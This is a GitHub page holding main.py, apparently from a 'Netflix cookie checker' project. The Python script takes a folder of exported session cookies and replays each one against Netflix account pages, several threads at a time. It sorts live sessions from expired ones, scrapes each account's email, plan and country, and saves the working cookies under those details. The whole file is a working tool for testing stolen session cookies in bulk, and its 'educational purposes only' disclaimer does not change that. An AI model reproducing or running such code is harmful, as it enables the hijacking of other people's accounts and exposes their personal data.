-
-
Notifications
You must be signed in to change notification settings - Fork 56
/
Copy pathmain.py
319 lines (284 loc) · 13.3 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
import json
import os
import re
import sys
import time
import requests
from requests.exceptions import RequestException, ConnectionError
from http.client import RemoteDisconnected
from bs4 import BeautifulSoup
from colorama import init, Fore
from concurrent.futures import ThreadPoolExecutor
from threading import Lock
init()
print(Fore.YELLOW + "Initializing!, Please wait...\n" + Fore.RESET)
working_cookies_path = "working_cookies"
exceptions = 0
working_cookies = 0
expired_cookies = 0
duplicate_cookies = 0
extra_memberships = 0
start = time.time()
plan = None
email = None
ID = None
info = None
extra_members = None
country = None
lock = Lock()
num_threads = 5 # Define the maximum number of threads here
# ___________________________________________
# | Network Speed | Recommended no. threads |
# |---------------|-------------------------|
# | < 5 Mbps | 1-3 |
# | 5-20 Mbps | 3-5 |
# | 20-100 Mbps | 5-10 |
# | > 100 Mbps | 10-20 |
# |_________________________________________|
max_retries = 3 # Define the maximum number of retries
def extract_info(response_text):
patterns = {
"countryOfSignup": r'"countryOfSignup":\s*"([^"]+)"',
"localizedPlanName": r'localizedPlanName\":\{\"fieldType\":\"String\",\"value\":\"([^"]+)\"',
}
extracted_info = {
key: (
re.search(pattern, response_text).group(1)
if re.search(pattern, response_text)
else None
)
for key, pattern in patterns.items()
}
if extracted_info["localizedPlanName"]:
extracted_info["localizedPlanName"] = (
extracted_info["localizedPlanName"]
.replace("x28", "")
.replace("\\", " ")
.replace("x20", "")
.replace("x29", "")
)
return extracted_info
def load_cookies_from_json(json_cookies_path):
with open(json_cookies_path, "r", encoding="utf-8") as cookie_file:
cookie = json.load(cookie_file)
return cookie
def decode_unicode_escapes(s):
if re.search(r"\\u[0-9A-Fa-f]{4}", s) or re.search(r"\\U[0-9A-Fa-f]{8}", s):
decoded_string = s.encode("latin-1").decode("unicode-escape")
return decoded_string
return s
def open_webpage_with_cookies(session, link, json_cookies, filename):
global working_cookies, expired_cookies, plan, email, duplicate_cookies, ID, info, extra_memberships, extra_members, country
session.cookies.clear()
for cookie in json_cookies:
session.cookies.set(cookie["name"], cookie["value"])
session.headers.update({"Accept-Encoding": "identity"})
attempt = 0
while attempt < max_retries:
try:
response = session.get(link)
response.raise_for_status()
content = response.text
info = extract_info(content)
soup = BeautifulSoup(content, "lxml")
response = session.get(
"https://www.netflix.com/accountowner/addextramember",
allow_redirects=False,
)
if response.status_code == 200:
extra_memberships += 1
extra_members = True
else:
extra_members = False
if soup.find(string="Sign In") or soup.find(string="Sign in"):
with lock:
print(
Fore.RED + f"[❌] Cookie Not working - {filename}" + Fore.RESET
)
expired_cookies += 1
return False
else:
with lock:
try:
plan = decode_unicode_escapes(
info["localizedPlanName"].replace(
"miembro u00A0extra", "(Shared Extra Member)"
)
)
if plan == " u00D6zel":
try:
plan = (
soup.select_one(
"div.account-section:nth-child(2) > section:nth-child(2) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > div:nth-child(1) > b:nth-child(1)"
).text
or soup.select_one(
".default-ltr-cache-10ajupv"
).text
or soup.select_one(
"html.js-focus-visible body div#appMountPoint div div.default-ltr-cache-0 div.default-ltr-cache-1w02yd5.el0v7282 section div.default-ltr-cache-1fhvoso.eslj5pt1 div.default-ltr-cache-1grpxuk.eslj5pt0 div.default-ltr-cache-1tmwau.ew2l6qe0 div.default-ltr-cache-1fhvoso.eslj5pt1 div.default-ltr-cache-1u7ywyk.eslj5pt0 div.default-ltr-cache-1rlft14.e1bbao1b0 div.default-ltr-cache-16dvsg3.el0v7280 section.default-ltr-cache-1d3w5wq div.default-ltr-cache-1nca7k1.e19xx6v36 div.default-ltr-cache-q8smu4.e19xx6v35 div.default-ltr-cache-1cr1i8r.e19xx6v33 h3.default-ltr-cache-10ajupv.e19xx6v32"
).text
or soup.select_one(
"/html/body/div[1]/div/div/div/section/div[2]/div/div/div/div/div/div[2]/section/div[2]/div/div[2]/h3"
).text
) or info["localizedPlanName"].replace(
"miembro u00A0extra", "(Extra Member)"
)
except AttributeError:
plan = (
"Premium"
if soup.find(string="Premium")
else (
"Basic"
if soup.find(string="Basic")
else (
"Standard"
if soup.find(string="Standard")
else "Unknown"
)
)
)
country = info["countryOfSignup"]
email = soup.select_one(".account-section-email").text
except AttributeError:
plan = (
"Premium"
if soup.find(string="Premium")
else (
"Basic"
if soup.find(string="Basic")
else (
"Standard"
if soup.find(string="Standard")
else "Unknown"
)
)
)
os.makedirs(working_cookies_path, exist_ok=True)
return True
except (RequestException, ConnectionError, RemoteDisconnected) as e:
with lock:
print(
Fore.RED
+ f"[⚠️] Request error occurred: {str(e)} - {filename} (Attempt {attempt + 1}/{max_retries})"
+ Fore.RESET
)
attempt += 1
time.sleep(1)
with lock:
print(
Fore.RED
+ f"[❌] Failed after {max_retries} attempts - {filename}"
+ Fore.RESET
)
return False
def process_cookie_file(filename):
global duplicate_cookies, working_cookies, exceptions, extra_memberships
filepath = os.path.join("json_cookies", filename)
if os.path.isfile(filepath):
url = "https://www.netflix.com/YourAccount"
try:
cookies = load_cookies_from_json(filepath)
with requests.Session() as session:
if open_webpage_with_cookies(session, url, cookies, filename):
additional_json = {
"_comment": "Cookie Checked by https://github.com/matheeshapathirana/Netflix-cookie-checker",
"Credits": "Matheesha Pathirana",
"Discord Server": "https://discord.gg/RSCdKeKB5X",
"Special Thanks": "To all the contributors who have helped improve this project by submitting pull requests and to everyone who has starred the project and supported our work",
"Disclaimer": "This project is for educational purposes only. The authors and contributors are not responsible for how it is used.",
"Support": "If you find this project helpful, consider supporting it by starring the project on GitHub, contributing to the code, or making a donation on Ko-fi. Your support helps keep the project alive and encourages further improvements!",
}
cookies.append(additional_json)
if extra_members:
working_cookie_path = os.path.join(
working_cookies_path,
f"[{country}] [{email}] - {plan} - Extra Membership.json",
)
extra_memberships += 1
else:
working_cookie_path = os.path.join(
working_cookies_path, f"[{country}] [{email}] - {plan}.json"
)
with lock:
if os.path.isfile(working_cookie_path):
print(
Fore.YELLOW
+ f"[⚠️] Duplicate Cookie - {filename} | Plan: {plan} | Email: {email} | ID: {filename}"
+ Fore.RESET
)
duplicate_cookies += 1
else:
with open(
working_cookie_path, "w", encoding="utf-8"
) as json_file:
json.dump(cookies, json_file, indent=4)
working_cookies += 1
print(
Fore.GREEN
+ f"[✔️] Cookie Working - [{country}] {filename} | Plan: {plan} | Email: {email} | Extra membership: {extra_members}"
+ Fore.RESET
)
except json.decoder.JSONDecodeError:
with lock:
print(
Fore.RED
+ f"[⚠️] Please use cookie_converter.py to convert your cookies to json format! (File: {filename})\n"
+ Fore.RESET
)
exceptions += 1
except Exception as e:
with lock:
print(
Fore.RED + f"[⚠️] Error occurred: {str(e)} - {filename}" + Fore.RESET
)
exceptions += 1
def main():
try:
if os.path.isdir("json_cookies"):
entries = os.listdir("json_cookies")
files = [
entry
for entry in entries
if os.path.isfile(os.path.join("json_cookies", entry))
]
if len(files) == 0:
print(
Fore.RED
+ "[⚠️] Error Occurred: 'json_cookies' directory is empty. Please use cookie_converter.py to convert cookies. if you already have json cookies place them inside \"json_cookies\" folder.\n"
+ Fore.RESET
)
sys.exit()
if os.path.isdir("working_cookies"):
print(
Fore.RED
+ "[⚠️] working_cookies folder already exists, new cookies will be appended.\n"
+ Fore.RESET
)
filenames = os.listdir("json_cookies")
with ThreadPoolExecutor(max_workers=num_threads) as executor:
executor.map(process_cookie_file, filenames)
else:
print(
Fore.RED
+ "[⚠️] Error Occurred: 'json_cookies' directory not found. Please use cookie_converter.py to convert cookies. if you already have json cookies, please create a folder named 'json_cookies' and place them in it."
+ Fore.RESET
)
sys.exit()
except FileNotFoundError:
print(
Fore.RED
+ "[⚠️] Error Occurred: Please use cookie_converter.py to convert cookies."
+ Fore.RESET
)
sys.exit()
try:
main()
end = time.time()
print(
Fore.YELLOW + f"==================================="
f"\nSummary:\nTotal Cookies: {len(os.listdir('json_cookies'))}\nWorking Cookies: {working_cookies}\nExtra Membership Cookies: {extra_memberships}\nExpired Cookies: {expired_cookies}\nDuplicate Cookies: {duplicate_cookies}\nInvalid Cookies: {exceptions}\nTime Elapsed: {round((end - start))} Seconds"
f"\n=================================" + Fore.RESET
)
except KeyboardInterrupt:
print(Fore.RED + "\n\n[⚠️] Program Interrupted by user" + Fore.RESET)
sys.exit()